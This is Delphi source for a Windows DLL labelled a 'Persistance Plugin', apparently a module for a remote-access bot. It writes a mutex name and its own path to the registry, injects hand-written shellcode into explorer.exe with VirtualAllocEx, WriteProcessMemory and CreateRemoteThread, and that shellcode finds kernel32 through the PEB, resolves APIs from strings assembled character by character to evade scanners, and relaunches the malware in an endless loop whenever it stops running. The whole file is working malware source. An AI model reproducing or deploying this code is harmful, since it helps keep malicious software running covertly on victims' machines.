library loader;

uses
  Windows, tlhelp32;

{
  Persistance Plugin by Slayer616
  :Executes Shellcode in explorer.exe
}
type
  TInfo = record
    pMainHost:PChar;
    pMainPath:PChar;
    pFilename:PChar;
    pStrStartupK:PChar;
    pMutex:PChar;
    pPlugPass:PChar;
    pVersion:PChar;
    pCurrentPath:PChar;
    bInstall:Boolean;
    bStartup:Boolean;
    iConnectTimer:Integer;
  end;

//Uppercase taken from Sysutils
function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function LastDelimiter(const Delimiters, S: string): Integer;
begin
  Result := Length(S);
  while Result > 0 do
  begin
    if (S[Result] <> #0) then begin
      if (s[result] = Delimiters) then Exit;
    end;
    Dec(Result);
  end;
end;

function ExtractFilename(const path: string): string;
var
i, l: integer;
ch: char;

begin
  l := length(path);
  for i := l downto 1 do
  begin
    ch := path[i];
    if (ch = '\') or (ch = '/') then
    begin
      result := copy(path, i + 1, l - i);
      break;
    end;
  end;
end;

//Taken from Departure
function GetProcessID(const sProcessName: string): Integer;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  FSnapshotHandle  := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop        := Process32First(FSnapshotHandle, FProcessEntry32);
  Result := 0;
  while Integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(sProcessName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(sProcessName))) then
    begin
      Result := FProcessEntry32.th32ProcessID;
      break;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

function AddRegKey(KEY:HKEY; Path, Keyname, Value, RegType: String):boolean;
var
  phkResult: HKEY;
begin
  Result := False;
  if RegType = 'Key' then begin
    RegOpenKeyEx(KEY, PChar(Path), 0, KEY_CREATE_SUB_KEY, phkResult);
    Result := (RegCreateKey(phkResult, PChar(Keyname), phkResult) = ERROR_SUCCESS);
    RegCloseKey(phkResult);
  end else begin
    if RegOpenKeyEx(KEY, PChar(Path), 0, KEY_SET_VALUE, phkResult) = ERROR_SUCCESS then
    begin
      Result := (RegSetValueEx(phkResult, Pchar(Keyname), 0, REG_SZ, Pchar(Value), Length(Value)) = ERROR_SUCCESS);
      RegCloseKey(phkResult);
    end else
      Result := False;
  end;
end;

function IsWow64: Boolean;
type
  TIsWow64Process = function(hHandle: THandle; var boolRes: BOOL): BOOL; stdcall;
var
  IsWow64Result: BOOL;
  IsWow64Process: TIsWow64Process;
begin
  Result := False;
  IsWow64Process := Windows.GetProcAddress(GetModuleHandle('kernel32'), 'IsWow64Process');
  if Assigned(IsWow64Process) then
    if IsWow64Process(GetCurrentProcess, IsWow64Result) then
      Result := IsWow64Result;
end;

procedure ShellCode();
  Function GetRegKey(ptrRegOpenKeyEx, ptrRegQueryValueEx, ptrRegCloseKey, ptrVirtualAlloc:Pointer;Key:HKEY; pPath, pValue:PChar): Pointer;
  Var
    Handle:           hkey;
    RegType:          integer;
    DataSize:         integer;
    pRegOpenKeyEx:    function(hKey: HKEY; lpSubKey: PAnsiChar; ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): Longint; stdcall;
    pRegQueryValueEx: function(hKey: HKEY; lpValueName: PChar;lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;
    pRegCloseKey:     function(hKey: HKEY): Longint; stdcall;
    pVirtualAlloc:    function(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: DWORD): Pointer; stdcall;
  begin
    Result := nil;
    pRegOpenKeyEx := ptrRegOpenKeyEx;
    pRegQueryValueEx := ptrRegQueryValueEx;
    pRegCloseKey := ptrRegCloseKey;
    pVirtualAlloc := ptrVirtualAlloc;
    if (pRegOpenKeyEx(Key, pPath, 0, $0001, Handle) = 0) then
    begin
      if pRegQueryValueEx(Handle, pValue, nil, @RegType, nil, @DataSize) = 0 then
      begin
        Result := pVirtualAlloc(nil,DataSize,MEM_COMMIT, PAGE_READWRITE);
        If pRegQueryValueEx(Handle, pValue, nil, @RegType, PByte(pchar(Result)), @DataSize) <> ERROR_SUCCESS then
          Result := nil;
      end;
      pRegCloseKey(Handle);
    end;
  end;
var
  hKernel32:          DWORD;
  IDH:                PImageDosHeader;
  INH:                PImageNtHeaders;
  IED:                PImageExportDirectory;
  i:                  DWORD;
  dwName:             DWORD;
  wOrdinal:           WORD;
  dwFunctionAddr:     DWORD;
  cdHandle:           cardinal;
  strAdvapi:          array[0..8] of Char;
  strRegOpenKeyEx:    array[0..13] of Char;
  strRegQueryValueEx: array[0..16] of Char;
  strRegCloseKey:     array[0..11] of Char;
  strVirtualAlloc:    array[0..12] of Char;
  strCreateMutex:     array[0..12] of Char;
  strGetLastError:    array[0..12] of Char;
  strCloseHandle:     array[0..11] of Char;
  strSleep:           array[0..6] of Char;
  strShellExecute:    array[0..13] of Char;
  strShell32:         array[0..8] of Char;
  strRegPath:         array[0..19] of Char;
  strMutex:           array[0..6] of Char;
  strFile:            array[0..5] of Char;
  pRegOpenKeyEx:      Pointer;
  pRegQueryValueEx:   Pointer;
  pRegCloseKey:       Pointer;
  pVirtualAlloc:      Pointer;
  pFilePath:          Pointer;
  pMutex:             Pointer;
  pCreateMutex:       function(lpMutexAttributes: PSecurityAttributes; bInitialOwner: BOOL; lpName: PChar): Cardinal; stdcall;
  pCloseHandle:       function(hObject: THandle): BOOL; stdcall;
  pLoadLibraryA:      function(lpLibrary:PChar):DWORD; stdcall;
  pGetProcAddress:    function(hModule:DWORD; lpFunction:PChar):Pointer; stdcall;
  pGetLastError:      function : DWORD; stdcall;
  pSleep:             procedure(dwMilliseconds: DWORD); stdcall;
  pShellExecute:      function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer): HINST; stdcall;
begin
  asm
    MOV EAX, FS:[30h]
    MOV EAX, [EAX+0Ch]
    MOV EAX, [EAX+0Ch]
    MOV EAX, [EAX]
    MOV EAX, [EAX]
    MOV EAX, [EAX+18h]
    MOV hKernel32, EAX
  end;
  IDH := Pointer(hKernel32);
  if (IDH^.e_magic = IMAGE_DOS_SIGNATURE) then
  begin
    INH := Pointer(hKernel32 + IDH^._lfanew);
    if (INH^.Signature = IMAGE_NT_SIGNATURE) then
    begin
      IED := Pointer(hKernel32 + INH^.OptionalHeader.DataDirectory[0].VirtualAddress);
      for i := 0 to IED^.NumberOfNames do
      begin
        dwName := (hKernel32 + PDWORD(hKernel32 + (DWORD(IED^.AddressOfNames) + (i * 4)))^);
        if (PDWORD(dwName)^ = $64616F4C) and (PDWORD(dwName + 4)^ = $7262694C) then // if == LoadLibraryA
        begin
          wOrdinal := (PWORD(hKernel32 + DWORD(IED^.AddressOfNameOrdinals) + (i * 2))^);
          dwFunctionAddr := hKernel32 + (PDWORD(hKernel32 + DWORD(IED^.AddressOfFunctions) + (wOrdinal * 4))^);
          pLoadLibraryA := Pointer(dwFunctionAddr);
          Break;
        end;
        if (PDWORD(dwName)^ = $50746547) and (PDWORD(dwName + 4)^ = $41636F72) then // if == GetProcAddress
        begin
          wOrdinal := (PWORD(hKernel32 + DWORD(IED^.AddressOfNameOrdinals) + (i * 2))^);
          dwFunctionAddr := hKernel32 + (PDWORD(hKernel32 + DWORD(IED^.AddressOfFunctions) + (wOrdinal * 4))^);
          pGetProcAddress := Pointer(dwFunctionAddr);
        end;
      end;

      {SOFWARE\Microsoft\}
      strRegPath[0] := 'S';strRegPath[1] := 'O';strRegPath[2] := 'F';strRegPath[3] := 'T';strRegPath[4] := 'W';strRegPath[5] := 'A';strRegPath[6] := 'R';strRegPath[7] := 'E';strRegPath[8] := '\';strRegPath[9] := 'M';strRegPath[10] := 'i';strRegPath[11] := 'c';strRegPath[12] := 'r';strRegPath[13] := 'o';strRegPath[14] := 'S';strRegPath[15] := 'o';strRegPath[16] := 'f';strRegPath[17] := 't';strRegPath[18] := '\';strRegPath[19] := #0;
      {uMutex}
      strMutex[0] := 'u';strMutex[1] := 'M';strMutex[2] := 'u';strMutex[3] := 't';strMutex[4] := 'e';strMutex[5] := 'x';strMutex[6] := #0;
      {uFile}
      strFile[0] := 'u';strFile[1] := 'F';strFile[2] := 'i';strFile[3] := 'l';strFile[4] := 'e';strFile[5] := #0;
      {advapi32}
      strAdvapi[0] := 'a';strAdvapi[1] := 'd';strAdvapi[2] := 'v';strAdvapi[3] := 'a';strAdvapi[4] := 'p';strAdvapi[5] := 'i';strAdvapi[6] := '3';strAdvapi[7] := '2';strAdvapi[8] := #0;

      strRegOpenKeyEx[0] := 'R';strRegOpenKeyEx[1] := 'e';strRegOpenKeyEx[2] := 'g';strRegOpenKeyEx[3] := 'O';strRegOpenKeyEx[4] := 'p';strRegOpenKeyEx[5] := 'e';strRegOpenKeyEx[6] := 'n';strRegOpenKeyEx[7] := 'K';strRegOpenKeyEx[8] := 'e';strRegOpenKeyEx[9] := 'y';strRegOpenKeyEx[10] := 'E';strRegOpenKeyEx[11] := 'x';strRegOpenKeyEx[12] := 'A';strRegOpenKeyEx[13] := #0;

      strRegQueryValueEx[0] := 'R';strRegQueryValueEx[1] := 'e';strRegQueryValueEx[2] := 'g';strRegQueryValueEx[3] := 'Q';strRegQueryValueEx[4] := 'u';strRegQueryValueEx[5] := 'e';strRegQueryValueEx[6] := 'r';strRegQueryValueEx[7] := 'y';strRegQueryValueEx[8] := 'V';strRegQueryValueEx[9] := 'a';strRegQueryValueEx[10] := 'l';strRegQueryValueEx[11] := 'u';strRegQueryValueEx[12] := 'e';strRegQueryValueEx[13] := 'E';strRegQueryValueEx[14] := 'x';strRegQueryValueEx[15] := 'A';strRegQueryValueEx[16] := #0;

      strRegCloseKey[0] := 'R';strRegCloseKey[1] := 'e';strRegCloseKey[2] := 'g';strRegCloseKey[3] := 'C';strRegCloseKey[4] := 'l';strRegCloseKey[5] := 'o';strRegCloseKey[6] := 's';strRegCloseKey[7] := 'e';strRegCloseKey[8] := 'K';strRegCloseKey[9] := 'e';strRegCloseKey[10] := 'y';strRegCloseKey[11] := #0;

      strVirtualAlloc[0] := 'V';strVirtualAlloc[1] := 'i';strVirtualAlloc[2] := 'r';strVirtualAlloc[3] := 't';strVirtualAlloc[4] := 'u';strVirtualAlloc[5] := 'a';strVirtualAlloc[6] := 'l';strVirtualAlloc[7] := 'A';strVirtualAlloc[8] := 'l';strVirtualAlloc[9] := 'l';strVirtualAlloc[10] := 'o';strVirtualAlloc[11] := 'c';strVirtualAlloc[12] := #0;

      strCreateMutex[0] := 'C';strCreateMutex[1] := 'r';strCreateMutex[2] := 'e';strCreateMutex[3] := 'a';strCreateMutex[4] := 't';strCreateMutex[5] := 'e';strCreateMutex[6] := 'M';strCreateMutex[7] := 'u';strCreateMutex[8] := 't';strCreateMutex[9] := 'e';strCreateMutex[10] := 'x';strCreateMutex[11] := 'A';strCreateMutex[12] := #0;

      strGetLastError[0] := 'G';strGetLastError[1] := 'e';strGetLastError[2] := 't';strGetLastError[3] := 'L';strGetLastError[4] := 'a';strGetLastError[5] := 's';strGetLastError[6] := 't';strGetLastError[7] := 'E';strGetLastError[8] := 'r';strGetLastError[9] := 'r';strGetLastError[10] := 'o';strGetLastError[11] := 'r';strGetLastError[12] := #0;

      strCloseHandle[0] := 'C';strCloseHandle[1] := 'l';strCloseHandle[2] := 'o';strCloseHandle[3] := 's';strCloseHandle[4] := 'e';strCloseHandle[5] := 'H';strCloseHandle[6] := 'a';strCloseHandle[7] := 'n';strCloseHandle[8] := 'd';strCloseHandle[9] := 'l';strCloseHandle[10] := 'e';strCloseHandle[11] := #0;

      strSleep[0] := 'S';strSleep[1] := 'l';strSleep[2] := 'e';strSleep[3] := 'e';strSleep[4] := 'p';strSleep[5] := #0;

      strShellExecute[0] := 'S';strShellExecute[1] := 'h';strShellExecute[2] := 'e';strShellExecute[3] := 'l';strShellExecute[4] := 'l';strShellExecute[5] := 'E';strShellExecute[6] := 'x';strShellExecute[7] := 'e';strShellExecute[8] := 'c';strShellExecute[9] := 'u';strShellExecute[10] := 't';strShellExecute[11] := 'e';strShellExecute[12] := 'A';strShellExecute[13] := #0;

      strShell32[0] := 's';strShell32[1] := 'h';strShell32[2] := 'e';strShell32[3] := 'l';strShell32[4] := 'l';strShell32[5] := '3';strShell32[6] := '2';strShell32[7] := #0;

      pRegCloseKey := pGetProcAddress(pLoadLibraryA(@strAdvapi[0]), @strRegCloseKey[0]);
      pRegOpenKeyEx := pGetProcAddress(pLoadLibraryA(@strAdvapi[0]), @strRegOpenKeyEx[0]);
      pRegQueryValueEx := pGetProcAddress(pLoadLibraryA(@strAdvapi[0]), @strRegQueryValueEx[0]);
      pVirtualAlloc := pGetProcAddress(hKernel32, @strVirtualAlloc[0]);
      pCreateMutex := pGetProcAddress(hKernel32, @strCreateMutex[0]);
      pGetLastError := pGetProcAddress(hKernel32, @strGetLastError[0]);
      pCloseHandle := pGetProcAddress(hKernel32, @strCloseHandle[0]);
      pSleep := pGetProcAddress(hKernel32, @strSleep[0]);
      pShellExecute := pGetProcAddress(pLoadLibraryA(@strShell32[0]), @strShellExecute[0]);
      
      pMutex := GetRegKey(pRegOpenKeyEx,pRegQueryValueEx,pRegCloseKey,pVirtualAlloc,DWORD($80000001), @strRegPath[0], @strMutex[0]);
      if pMutex <> nil then begin
        pFilePath := GetRegKey(pRegOpenKeyEx,pRegQueryValueEx,pRegCloseKey,pVirtualAlloc,DWORD($80000001), @strRegPath[0], @strFile[0]);
        if pFilePath <> nil then begin
          repeat
            cdHandle := pCreateMutex(nil, false,pMutex);
            if pGetLastError = 183 then begin
              pCloseHandle(cdHandle);
            end else begin
              pCloseHandle(cdHandle);
              pShellExecute(0,nil,pFilePath,nil,nil,0);
            end;
            pSleep(1000);
          until 1 = 3;
        end;
      end;
      asm
        MOV ESP, EBP
        POP EBP
        PUSH $AABBCCDD
        RETN
      end;
    end;
  end;
end;
procedure Shellcode_END;
asm
  nop
end;

procedure PluginStart(strData:Pointer); stdcall; export;
var
  mInfo           :TInfo;
  dwSizeOfCode    :DWORD;
  hProcess        :THandle;
  pData           :Pointer;
  dwWritten       :Cardinal;
  dwThreadID      :Cardinal;
  dwPID           :INteger;
begin
  MInfo := TInfo(strData^);
  //No x64 compability
  if IsWow64 = False then begin
    //Settings
    AddRegKey(DWORD($80000001),'SOFTWARE\Microsoft\','uMutex',mInfo.pMutex,'');
    AddRegKey(DWORD($80000001),'SOFTWARE\Microsoft\','uFile',mInfo.pCurrentPath,'');
    //Get explorer.exe PID
    dwPID := GetProcessID('explorer.exe');
    if dwPID > 0 then begin
      //Calc Size and Inject ShellCode
      dwSizeOfCode := DWORD(@Shellcode_END) - DWORD(@Shellcode) + 145; //145 is size of GetRegKey
      hProcess := OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); //Hardcoded Explorer PID
      if (hProcess <> 0) then begin
        pData := VirtualAllocEx(hProcess, nil, dwSizeOfCode + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (pData <> nil) then begin
          WriteProcessMemory(hProcess, pData, Pointer(DWORD(@Shellcode) - 144), dwSizeOfCode + 1, dwWritten);
          if (dwSizeOfCode + 1 = dwWritten) then
            CreateRemoteThread(hProcess, nil, 0, Pointer(DWORD(pData) + 144), nil, 0, dwThreadID);
        end;
        CloseHandle( hProcess );
      end;
    end;
  end;
end;



exports
  PluginStart;

begin
end.
